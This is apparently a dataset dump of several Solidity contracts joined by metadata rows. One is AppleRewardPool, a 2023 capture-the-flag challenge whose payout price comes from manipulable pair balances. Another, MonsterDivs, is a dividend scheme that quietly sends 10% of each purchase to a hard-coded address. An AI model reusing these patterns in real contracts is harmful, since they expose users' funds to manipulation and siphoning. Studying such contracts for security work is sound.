if (lastDefaultSuffered == uint256(0) && loan_defaultSuffered > uint256(0)) {
newDefaultSuffered = lastDefaultSuffered = _calcAllotment(loan.balanceOf(address(this)), loan_defaultSuffered, loan.totalSupply());
}
// Account for any transfers into Loan that have occurred since last call.
loan.updateFundsReceived();
if (loan.withdrawableFundsOf(address(this)) == uint256(0)) return([0, 0, 0, 0, 0, 0, newDefaultSuffered]);
// If there are claimable funds, calculate portions and claim using LoanFDT.
// Calculate payment deltas.
uint256 newInterest = loan.interestPaid() - lastInterestPaid; // `loan.interestPaid` updated in `loan._makePayment()`
uint256 newPrincipal = loan.principalPaid() - lastPrincipalPaid; // `loan.principalPaid` updated in `loan._makePayment()`
// Update storage variables for next delta calculation.
lastInterestPaid = loan.interestPaid();
lastPrincipalPaid = loan.principalPaid();
// Calculate one-time deltas if storage variables have not yet been updated.
uint256 newFee = lastFeePaid == uint256(0) ? loan.feePaid() : uint256(0); // `loan.feePaid` updated in `loan.drawdown()`
uint256 newExcess = lastExcessReturned == uint256(0) ? loan.excessReturned() : uint256(0);
uint256 newAmountRecovered = lastAmountRecovered == uint256(0) ? loan.amountRecovered() : uint256(0); // `loan.amountRecovered` updated in `loan.triggerDefault()`
// Update DebtLocker storage variables if Loan storage variables has been updated since last claim.
if (newFee > 0) lastFeePaid = newFee;
if (newExcess > 0) lastExcessReturned = newExcess;
if (newAmountRecovered > 0) lastAmountRecovered = newAmountRecovered;
// Withdraw all claimable funds via LoanFDT.
uint256 beforeBal = liquidityAsset.balanceOf(address(this)); // Current balance of DebtLocker (accounts for direct inflows).
loan.withdrawFunds(); // Transfer funds from Loan to DebtLocker.
uint256 claimBal = liquidityAsset.balanceOf(address(this)).sub(beforeBal); // Amount claimed from Loan using LoanFDT.
// Calculate sum of all deltas, to be used to calculate portions for metadata.
uint256 sum = newInterest.add(newPrincipal).add(newFee).add(newExcess).add(newAmountRecovered);
// Calculate payment portions based on LoanFDT claim.
newInterest = _calcAllotment(newInterest, claimBal, sum);
newPrincipal = _calcAllotment(newPrincipal, claimBal, sum);
// Calculate one-time portions based on LoanFDT claim.
newFee = _calcAllotment(newFee, claimBal, sum);
newExcess = _calcAllotment(newExcess, claimBal, sum);
newAmountRecovered = _calcAllotment(newAmountRecovered, claimBal, sum);
liquidityAsset.safeTransfer(pool, claimBal); // Transfer entire amount claimed using LoanFDT.
// Return claim amount plus all relevant metadata, to be used by Pool for further claim logic.
// Note: newInterest + newPrincipal + newFee + newExcess + newAmountRecovered = claimBal - dust
// The dust on the right side of the equation gathers in the pool after transfers are made.
return([claimBal, newInterest, newPrincipal, newFee, newExcess, newAmountRecovered, newDefaultSuffered]);
}
function triggerDefault() external isPool {
loan.triggerDefault();
}
}
| 344,023 | 12,296 |
8b915e33cc5bc7d10dcd35928f2a16e3a07c136da240798f671cbf8ae79e255b
| 21,374 |
.sol
|
Solidity
| false |
619484309
|
numencyber/NumenCTF_2023
|
235a1f12c76b640c41288517d663c362721bec2f
|
reca/contracts/AppleRewardPool.sol
| 3,652 | 12,712 |
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
library safemath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERCLike {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface UniswapV2pair{
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract AppleRewardPool is Ownable {
using safemath for uint256;
struct UserInfo {
uint256 amount;
uint256 depositerewarded;
uint256 ApplerewardDebt;
uint256 Applepending;
}
struct PoolInfo {
IERCLike token;
uint256 starttime;
uint256 endtime;
uint256 ApplePertime;
uint256 lastRewardtime;
uint256 accApplePerShare;
uint256 totalStake;
}
IERCLike public token2;
IERCLike public token3;
PoolInfo[] public poolinfo;
address public pair1;
address public pair2;
mapping (uint256 => mapping (address => UserInfo)) public users;
event Deposit(address indexed user, uint256 _pid, uint256 amount);
event Withdraw(address indexed user, uint256 _pid, uint256 amount);
event ReclaimStakingReward(address user, uint256 amount);
event Set(uint256 pid, uint256 allocPoint, bool withUpdate);
constructor(IERCLike _token2, IERCLike _token3, address _pair1, address _pair2) public {
token2 = _token2;
token3 = _token3;
pair1 = _pair1;
pair2 = _pair2;
}
modifier validatePool(uint256 _pid) {
require(_pid < poolinfo.length, " pool exists?");
_;
}
function getpool() view public returns(PoolInfo[] memory){
return poolinfo;
}
function setApplePertime(uint256 _pid, uint256 _ApplePertime) public onlyOwner validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
updatePool(_pid);
_ApplePertime = _ApplePertime.mul(1e18).div(86400);
pool.ApplePertime = _ApplePertime;
}
function addPool(IERCLike _token, uint256 _starttime, uint256 _endtime, uint256 _ApplePertime, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
_ApplePertime = _ApplePertime.mul(1e18).div(86400);
uint256 lastRewardtime = block.timestamp > _starttime ? block.timestamp : _starttime;
poolinfo.push(PoolInfo({
token: _token,
starttime: _starttime,
endtime: _endtime,
ApplePertime: _ApplePertime,
lastRewardtime: lastRewardtime,
accApplePerShare: 0,
totalStake: 0
}));
}
function getMultiplier(PoolInfo storage pool) internal view returns (uint256) {
uint256 from = pool.lastRewardtime;
uint256 to = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
if (from >= to) {
return 0;
}
return to.sub(from);
}
function massUpdatePools() public {
uint256 length = poolinfo.length;
for (uint256 pid = 0; pid < length; pid++) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public validatePool(_pid) {
PoolInfo storage pool = poolinfo[_pid];
if (block.timestamp <= pool.lastRewardtime || pool.lastRewardtime > pool.endtime) {
return;
}
uint256 totalStake = pool.totalStake;
if (totalStake == 0) {
pool.lastRewardtime = block.timestamp <= pool.endtime ? block.timestamp : pool.endtime;
return;
}
uint256 multiplier = getMultiplier(pool);
uint256 AppleReward = multiplier.mul(pool.ApplePertime);
pool.accApplePerShare = pool.accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
pool.lastRewardtime = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
}
function pendingApple(uint256 _pid, address _user) public view validatePool(_pid) returns (uint256) {
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][_user];
uint256 accApplePerShare = pool.accApplePerShare;
uint256 totalStake = pool.totalStake;
if (block.timestamp > pool.lastRewardtime && totalStake > 0) {
uint256 multiplier = getMultiplier(pool);
uint256 AppleReward = multiplier.mul(pool.ApplePertime);
accApplePerShare = accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
}
return user.Applepending.add(user.amount.mul(accApplePerShare).div(1e18)).sub(user.ApplerewardDebt);
}
function rate() public view returns(uint256) {
uint256 _price;
address _token0 = UniswapV2pair(pair1).token0();
address _token1 = UniswapV2pair(pair1).token1();
uint256 amount0 = IERCLike(_token0).balanceOf(pair1);
uint256 amount1 = IERCLike(_token1).balanceOf(pair1);
_price = amount0.mul(1e18).div(amount1);
return _price;
}
function rate1() public view returns(uint256) {
uint256 _price;
(uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
_price = _amount1.div(_amount0).div(2).mul(1e18);
return _price;
}
function deposit(uint256 _pid, uint256 _amount) public validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
user.Applepending = user.Applepending.add(Applepending);
}
if (_pid == 0){
uint256 token2_amount = _amount.mul(rate()).div(1e18);
IERCLike(token2).transfer(msg.sender, token2_amount);
}
if (_pid == 1){
uint256 token3_amount = _amount.mul(rate1()).div(1e18);
IERCLike(token3).transfer(msg.sender, token3_amount);
}
pool.token.transferFrom(_msgSender(), address(this), _amount);
pool.totalStake = pool.totalStake.add(_amount);
user.amount = user.amount.add(_amount);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
user.Applepending = user.Applepending.add(Applepending);
user.amount = user.amount.sub(_amount);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
pool.totalStake = pool.totalStake.sub(_amount);
pool.token.transfer(msg.sender, _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
function reclaimAppleStakingReward(uint256 _pid) public validatePool(_pid) {
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
uint256 Applepending = user.Applepending.add(user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt));
if (Applepending > 0) {
safeAppleTransfer(msg.sender, Applepending);
}
user.Applepending = 0;
user.depositerewarded = user.depositerewarded.add(Applepending);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
emit ReclaimStakingReward(msg.sender, Applepending);
}
function safeAppleTransfer(address _to, uint256 _amount) internal {
uint256 AppleBalance = token3.balanceOf(address(this));
require(AppleBalance >= _amount, "no enough token");
token3.transfer(_to, _amount);
}
}
| 277,360 | 12,297 |
f8fc7fda1635a8ca1632403fdf0df288d5ffe4469a140c2514ed29952a2037ef
| 13,230 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/db/db7b0f58de2d2af457e942c2575242eb78549c9a_Counters.sol
| 2,896 | 10,730 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(0), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
event VaultTransferred(address indexed newVault);
function setVault(address vault_) external onlyOwner() {
require(vault_ != address(0), "IA0");
_vault = vault_;
emit VaultTransferred(_vault);
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract TimeERC20Token is ERC20Permit, VaultOwned {
using LowGasSafeMath for uint256;
constructor() ERC20("Time", "TIME", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
function burn(uint256 amount) external virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 114,267 | 12,298 |
0fbad9e745c281cea3550cf56f87c92906a760257496c66046daea1faf52c93c
| 22,334 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb91166cfd2b711f61c663ecedde67f8c0818e77a.sol
| 4,935 | 18,574 |
pragma solidity ^0.4.24;
contract MonsterDivs {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/// @dev notGasbag
modifier notGasbag() {
require(tx.gasprice < 200999999999);
_;
}
/// @dev Preventing unstable dumping and limit ambassador mine
modifier antiEarlyWhale {
if (address(this).balance -msg.value < whaleBalanceLimit){
require(msg.value <= maxEarlyStake);
}
if (depositCount_ == 0){
require(ambassadors_[msg.sender] && msg.value == 1 ether);
}
_;
}
/// @dev notGasbag
modifier isControlled() {
require(isPremine() || isStarted());
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "MonsterDivs Token";
string public symbol = "MDT";
uint8 constant public decimals = 18;
/// @dev 30% dividends for token purchase
uint8 constant internal entryFee_ = 30;
/// @dev 10% dividends for token selling
uint8 constant internal startExitFee_ = 10;
/// @dev 5% dividends for token selling after step
uint8 constant internal finalExitFee_ = 5;
/// @dev Exit fee falls over period of 30 days
uint256 constant internal exitFeeFallDuration_ = 2 days;
/// @dev 20% masternode
uint8 constant internal refferalFee_ = 20;
/// @dev MDT pricing
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev 100 needed for masternode activation
uint256 public stakingRequirement = 0e18;
/// @dev anti-early-whale
uint256 public maxEarlyStake = 5 ether;
uint256 public whaleBalanceLimit = 50 ether;
/// @dev owner starting gun
address public owner;
/// @dev starting
uint256 public startTime = 0; // January 1, 1970 12:00:00
address recycle = 0x258Eb4aDdDa19A50dF0fE8b9c911428aD2Fc85c1;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => uint256) internal bonusBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
uint256 public depositCount_;
mapping(address => bool) internal ambassadors_;
constructor () public {
//Community Promotional Fund
ambassadors_[msg.sender]=true;
owner = msg.sender;
}
// @dev Function setting the start time of the system
function setStartTime(uint256 _startTime) public {
require(msg.sender==owner && !isStarted() && now < _startTime);
startTime = _startTime;
}
function buy(address _referredBy) antiEarlyWhale notGasbag isControlled public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy , msg.sender);
uint256 getmsgvalue = msg.value / 10;
recycle.transfer(getmsgvalue);
}
function buyFor(address _referredBy, address _customerAddress) antiEarlyWhale notGasbag isControlled public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy , _customerAddress);
uint256 getmsgvalue = msg.value / 10;
recycle.transfer(getmsgvalue);
}
function() antiEarlyWhale notGasbag isControlled payable public {
purchaseTokens(msg.value, 0x0 , msg.sender);
uint256 getmsgvalue = msg.value / 10;
recycle.transfer(getmsgvalue);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// capitulation
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
